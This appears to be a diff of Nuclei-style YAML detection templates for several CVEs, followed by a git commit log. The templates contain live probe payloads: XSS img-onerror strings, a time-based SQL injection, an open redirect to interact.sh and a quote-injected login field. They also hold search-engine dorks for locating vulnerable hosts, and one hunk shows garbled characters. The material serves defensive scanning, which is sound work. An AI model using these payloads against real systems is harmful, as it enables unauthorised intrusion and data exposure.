-    google-query: inurl:"/php-curl-test/post_file_path_upload.php"
-    verified: "true"
-  tags: cve,cve2021,xss,php-mod,wpscan
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php?key=<img%20src%20onerror%3dalert(document.domain)>"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - 'key":"<img src onerror=alert(document.domain)>"'
-
-      - type: word
-        part: header
-        words:
-          - text/html
-
-      - type: status
-        status:
-          - 200
@@ -1,15 +1,14 @@
 id: CVE-2021-31581

 info:
-  name: Akkadian Provisioning Manager - Information Disclosure
+  name: Akkadian Provisioning Manager MariaDB Credentials
  author: geeknik
  severity: medium
-  description: Akkadian Provisioning Manager is susceptible to information disclosure. The restricted shell provided can be escaped by abusing the Edit MySQL Configuration command. This command launches a standard VI editor interface which can then be escaped.
+  description: The restricted shell provided by Akkadian Provisioning Manager Engine (PME) can be escaped by abusing the 'Edit MySQL Configuration' command. This command launches a standard vi editor interface which
+    can then be escaped. This issue was resolved in Akkadian OVA appliance version 3.0 (and later), Akkadian Provisioning Manager 5.0.2 (and later), and Akkadian Appliance Manager 3.3.0.314-4a349e0 (and later).
  reference:
    - https://threatpost.com/unpatched-bugs-provisioning-cisco-uc/166882/
    - https://www.rapid7.com/blog/post/2021/06/08/akkadian-provisioning-manager-multiple-vulnerabilities-disclosure/
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-31581
-  remediation: This issue was resolved in Akkadian OVA appliance version 3.0 and later, Akkadian Provisioning Manager 5.0.2 and later, and Akkadian Appliance Manager 3.3.0.314-4a349e0 and later.
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 4.4
@@ -38,5 +37,3 @@ requests:
        words:
          - "html>"
        negative: true
-
-# Enhanced by md on 2023/02/01
@@ -1,11 +1,11 @@
 id: CVE-2021-35380

 info:
-  name: TermTalk Server 3.24.0.2 - Local File Inclusion
+  name: TermTalk Server 3.24.0.2 - Unauthenticated Arbitrary File Read
  author: fxploit
  severity: high
  description: |
-    TermTalk Server (TTServer) 3.24.0.2 is vulnerable to file inclusion which allows unauthenticated malicious user to gain access to the files on the remote system by providing the relative path of the file they want to retrieve.
+    A Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
  reference:
    - https://www.swascan.com/solari-di-udine/
    - https://www.exploit-db.com/exploits/50638
@@ -30,5 +30,3 @@ requests:
          - "fonts"
          - "extensions"
        condition: and
-
-# Enhanced by mp on 2023/01/15
@@ -1,23 +0,0 @@
-id: CVE-2021-36580
-
-info:
-  name: IceWarp Open Redirect
-  author: DhiyaneshDk
-  severity: medium
-  reference:
-    - https://twitter.com/shifacyclewala/status/1443298941311668227
-  metadata:
-    verified: true
-    shodan-query: title:"icewarp"
-  tags: cve,cve2021,icewarp,redirect
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/webmail/basic/?referer=https://interact.sh&_c=auth&ctz=120&signup_password=&_a%5bsignup%5d=1"
-
-    matchers:
-      - type: regex
-        part: header
-        regex:
-          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
@@ -62,7 +62,7 @@ requests:
    matchers:
      - type: dsl
        dsl:
-          - 'contains(body_1, "Sign In")'
+          - 'contains(body_1, "Sign In - Airflow")'
          - 'status_code_2 == 302'
          - 'contains(all_headers_2, "session=.")'
        condition: and
@@ -1,15 +1,14 @@
 id: CVE-2021-39211

 info:
-  name: GLPI 9.2/<9.5.6 - Information Disclosure
+  name: GLPI Telemetry Disclosure
  author: dogasantos,noraj
  severity: medium
-  description: GLPI 9.2 and prior to 9.5.6 is susceptible to information disclosure via the telemetry endpoint, which discloses GLPI and server information. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
+  description: GLPI => 9.2 and < 9.5.6, the telemetry endpoint discloses GLPI and server information.
  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-39211
    - https://github.com/glpi-project/glpi/security/advisories/GHSA-xx66-v3g5-w825
    - https://github.com/glpi-project/glpi/releases/tag/9.5.6
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-39211
-  remediation: This issue is fixed in version 9.5.6. As a workaround, remove the file ajax/telemetry.php, which is not needed for usual GLPI functions.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
@@ -34,5 +33,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/02/01
@@ -1,16 +1,16 @@
 id: CVE-2021-40150

 info:
-  name: Reolink E1 Zoom Camera <=3.0.0.716 - Information Disclosure
+  name: Reolink E1 Zoom Camera - Information Disclosure
  author: For3stCo1d
  severity: high
  description: |
-    Reolink E1 Zoom camera through 3.0.0.716 is susceptible to information disclosure. The web server discloses its configuration via the /conf/ directory that is mapped to a publicly accessible path. An attacker with network-level access to the camera can can download the entire NGINX/FastCGI configurations by querying the /conf/nginx.conf or /conf/fastcgi.conf URI.
+    The web server of the E1 Zoom camera through 3.0.0.716 discloses its configuration via the /conf/ directory that is mapped to a publicly accessible path.
+    An unauthenticated attacker can abuse this with network-level access to the camera to download the entire NGINX/FastCGI configurations.
  reference:
    - https://dl.packetstormsecurity.net/2206-exploits/reolinke1config-disclose.txt
    - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-40150.txt
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40150
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-40150
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -38,5 +38,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/02/01
@@ -1,16 +1,15 @@
 id: CVE-2021-40661

 info:
-  name: IND780 - Local File Inclusion
+  name: IND780 - Directory Traversal
  author: For3stCo1d
  severity: high
  description: |
-    IND780 Advanced Weighing Terminals Build 8.0.07 March 19, 2018 (SS Label 'IND780_8.0.07'), Version 7.2.10 June 18, 2012 (SS Label 'IND780_7.2.10') is vulnerable to unauthenticated local file inclusion. It is possible to traverse the folders of the affected host by providing a relative path to the 'webpage' parameter in AutoCE.ini. This could allow a remote attacker to access additional files on the affected system.
+    A remote, unauthenticated, directory traversal vulnerability was identified within the web interface used by IND780 Advanced Weighing Terminals Build 8.0.07 March 19, 2018 (SS Label 'IND780_8.0.07'), Version 7.2.10 June 18, 2012 (SS Label 'IND780_7.2.10'). It was possible to traverse the folders of the affected host by providing a traversal path to the 'webpage' parameter in AutoCE.ini This could allow a remote unauthenticated adversary to access additional files on the affected system. This could also allow the adversary to perform further enumeration against the affected host to identify the versions of the systems in use, in order to launch further attacks in future.
  reference:
    - https://sidsecure.au/blog/cve-2021-40661/?_sm_pdc=1&_sm_rid=MRRqb4KBDnjBMJk24b40LMS3SKqPMqb4KVn32Kr
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40661
    - https://www.mt.com/au/en/home/products/Industrial_Weighing_Solutions/Terminals-and-Controllers/terminals-bench-floor-scales/advanced-bench-floor-applications/IND780/IND780_.html#overviewpm
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-40661
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -39,5 +38,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -15,7 +15,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2021-40859
  metadata:
-    fofa-query: '"auerswald"'
+    fofa-dork: '"auerswald"'
  tags: cve,cve2021,iot,unauth,voip,auerswald

 requests:
@@ -29,7 +29,7 @@ requests:
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded

-        __EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode("{{VS}}")}}&__VIEWSTATEGENERATOR={{url_encode("{{VSG}}")}}&__EVENTVALIDATION={{url_encode("{{EV}}")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96
+        __EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode("Â{{VSÂ}}")}}&__VIEWSTATEGENERATOR={{url_encode("Â{{VSGÂ}}")}}&__EVENTVALIDATION={{url_encode("Â{{EVÂ}}")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96

    cookie-reuse: true
    extractors:
@@ -1,15 +1,15 @@
 id: CVE-2021-43421

 info:
-  name: Studio-42 elFinder <2.1.60 - Arbitrary File Upload
+  name: Studio-42 elFinder < 2.1.60 - Arbitrary File Upload
  author: akincibor
  severity: critical
  description: |
-    Studio-42 elFinder 2.0.4 to 2.1.59 is vulnerable to unauthenticated file upload via connector.minimal.php which could allow a remote user to upload arbitrary files and execute PHP code.
+    A File Upload vulnerability exists in Studio-42 elFinder 2.0.4 to 2.1.59 via connector.minimal.php, which allows a remote malicious user to upload arbitrary files and execute PHP code.
  reference:
    - https://github.com/Studio-42/elFinder/issues/3429
-    - https://twitter.com/infosec_90/status/1455180286354919425
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43421
+    - https://twitter.com/infosec_90/status/1455180286354919425
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -50,5 +50,3 @@ requests:
        regex:
          - '"hash"\:"(.*?)"\,'
        internal: true
-
-# Enhanced by mp on 2023/01/15
@@ -1,11 +1,11 @@
 id: CVE-2021-43734

 info:
-  name: kkFileview v4.0.0 - Local File Inclusion
+  name: kkFileview v4.0.0 - Directory Traversal
  author: arafatansari
  severity: high
  description: |
-    kkFileview v4.0.0 is vulnerable to local file inclusion which may lead to a sensitive file leak on a related host.
+    kkFileview v4.0.0 has arbitrary file read through a directory traversal vulnerability which may lead to sensitive file leak on related host.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/304
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43734
@@ -37,5 +37,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -18,7 +18,7 @@ info:
  metadata:
    verified: true
    shodan-query: http.html:"Reprise License Manager"
-    google-query: inurl:"/goforms/menu"
+    google-dork: inurl:"/goforms/menu"
  tags: cve2021,rlm,auth-bypass,packetstorm,cve

 requests:
@@ -1,12 +1,11 @@
 id: CVE-2021-44451

 info:
-  name: Apache Superset <=1.3.2 - Default Login
+  name: Apache Superset - Default Login
  author: dhiyaneshDK
  severity: medium
  description: |
-    Apache Superset through 1.3.2 contains a default login vulnerability via registered database connections for authenticated users. An attacker can obtain access to user accounts and thereby obtain sensitive information, modify data, and/or execute unauthorized operations.
-  remediation: Upgrade to Apache Superset 1.4.0 or higher.
+    Apache Superset up to and including 1.3.2 allowed for registered database connections password leak for authenticated users. This information could be accessed in a non-trivial way.
  reference:
    - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/apache-superset-default-credentials.json
    - https://lists.apache.org/thread/xww1pccs2ckb5506wrf1v4lmxg198vkb
@@ -67,5 +66,3 @@ requests:
        regex:
          - 'name="csrf_token" type="hidden" value="(.*)"'
        internal: true
-
-# Enhanced by md on 2023/01/06
@@ -1,48 +0,0 @@
-id: CVE-2022-0234
-
-info:
-  name: WordPress WOOCS < 1.3.7.5 - Cross-Site Scripting
-  author: Akincibor
-  severity: medium
-  description: |
-    WordPress WOOCS plugin before 1.3.7.5 is susceptible to cross-site scripting. The plugin does not sanitize and escape the woocs_in_order_currency parameter of the woocs_get_products_price_html AJAX action, available to both unauthenticated and authenticated users, before outputting it back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
-  reference:
-    - https://wpscan.com/vulnerability/fd568a1f-bd51-41bb-960d-f8573b84527b
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0234
-    - https://plugins.trac.wordpress.org/changeset/2659191
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-0234
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2022-0234
-    cwe-id: CWE-79
-  metadata:
-    google-query: inurl:"wp-content/plugins/woocommerce-currency-switcher"
-    verified: "true"
-  tags: wpscan,cve,cve2022,wordpress,wp-plugin,wp,xss,woocs
-
-requests:
-  - raw:
-      - |
-        GET /wp-admin/admin-ajax.php?action=woocs_get_products_price_html&woocs_in_order_currency=<img%20src%20onerror=alert(document.domain)> HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - '<img src onerror=alert(document.domain)>'
-          - '"current_currency":'
-        condition: and
-
-      - type: word
-        part: header
-        words:
-          - text/html
-
-      - type: status
-        status:
-          - 200
-
-# Enhanced by md on 2023/02/01
@@ -1,15 +1,14 @@
 id: CVE-2022-0594

 info:
-  name: WordPress Shareaholic <9.7.6 - Information Disclosure
+  name: Shareaholic < 9.7.6 - Information Disclosure
  author: atomiczsec
  severity: medium
-  description: WordPress Shareaholic plugin prior to 9.7.6 is susceptible to information disclosure. The plugin does not have proper authorization check in one of the AJAX actions, available to both unauthenticated (before 9.7.5) and authenticated (in 9.7.5) users, allowing them to possibly obtain sensitive information such as active plugins and different versions (PHP, cURL, WP, etc.).
+  description: The Professional Social Sharing Buttons, Icons & Related Posts WordPress plugin before 9.7.6 does not have proper authorisation check in one of the AJAX action, available to unauthenticated (in v < 9.7.5) and author+ (in v9.7.5) users, allowing them to call it and retrieve various information such as the list of active plugins, various version like PHP, cURL, WP etc.
  reference:
    - https://wpscan.com/vulnerability/4de9451e-2c8d-4d99-a255-b027466d29b1
    - https://wordpress.org/plugins/shareaholic/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0594
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-0594
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
@@ -41,5 +40,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/02/01
@@ -1,41 +0,0 @@
-id: CVE-2022-0784
-
-info:
-  name: WordPress Title Experiments Free <9.0.1 - SQL Injection
-  author: theamanrawat
-  severity: critical
-  description: |
-    WordPress Title Experiments Free plugin before 9.0.1 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via the wpex_titles AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
-  reference:
-    - https://wpscan.com/vulnerability/6672b59f-14bc-4a22-9e0b-fcab4e01d97f
-    - https://wordpress.org/plugins/wp-experiments-free/
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-0784
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2022-0784
-    cwe-id: CWE-89
-  metadata:
-    verified: "true"
-  tags: cve,wpscan,wp-plugin,wp,sqli,wp-experiments-free,unauth,cve2022,wordpress
-
-requests:
-  - raw:
-      - |
-        @timeout: 10s
-        POST /wp-admin/admin-ajax.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        action=wpex_titles&id[]=1 AND (SELECT 321 FROM (SELECT(SLEEP(6)))je)
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'duration>=6'
-          - 'status_code == 200'
-          - 'contains(content_type, "text/html")'
-          - 'contains(body, "{\"images\":")'
-        condition: and
-
-# Enhanced by md on 2023/01/06
Author	SHA1	Message	Date
Dhiyaneshwaran	c87867c691	Merge pull request #6930 from projectdiscovery/CVE-2020-16846 Update CVE-2020-16846.yaml	2023-03-22 08:55:41 +05:30
Ritik Chaddha	44dac81ec8	Update CVE-2020-16846.yaml	2023-03-21 14:09:29 +05:30
Prince Chaddha	d786731fb1	Merge pull request #6801 from brabbit10/master Fixes issue with github-recovery-code generating many FPs	2023-03-02 13:37:07 +05:30
Dhiyaneshwaran	68968ff1ad	deletion	2023-03-02 13:34:02 +05:30
GitHub Action	5ee38b1454	Auto WordPress Plugins Update [Thu Mar 2 04:26:26 UTC 2023] 🤖	2023-03-02 04:26:26 +00:00
GitHub Action	b28f26edc8	Auto WordPress Plugins Update [Wed Mar 1 04:26:33 UTC 2023] 🤖	2023-03-01 04:26:33 +00:00
GitHub Action	6cf1d05e1f	Auto WordPress Plugins Update [Tue Feb 28 04:25:57 UTC 2023] 🤖	2023-02-28 04:25:57 +00:00
GitHub Action	ea2500ce11	Auto WordPress Plugins Update [Mon Feb 27 04:25:57 UTC 2023] 🤖	2023-02-27 04:25:57 +00:00
GitHub Action	4a363a8511	Auto Generated CVE annotations [Sun Feb 26 13:23:33 UTC 2023] 🤖	2023-02-26 13:23:33 +00:00
brabbit10	49b5737eba	Update github-recovery-code.yaml	2023-02-26 15:19:13 +02:00
brabbit10	355362c30f	Update and rename file/keys/github-recovery-code.yaml to file/keys/github/github-recovery-code.yaml	2023-02-26 15:08:47 +02:00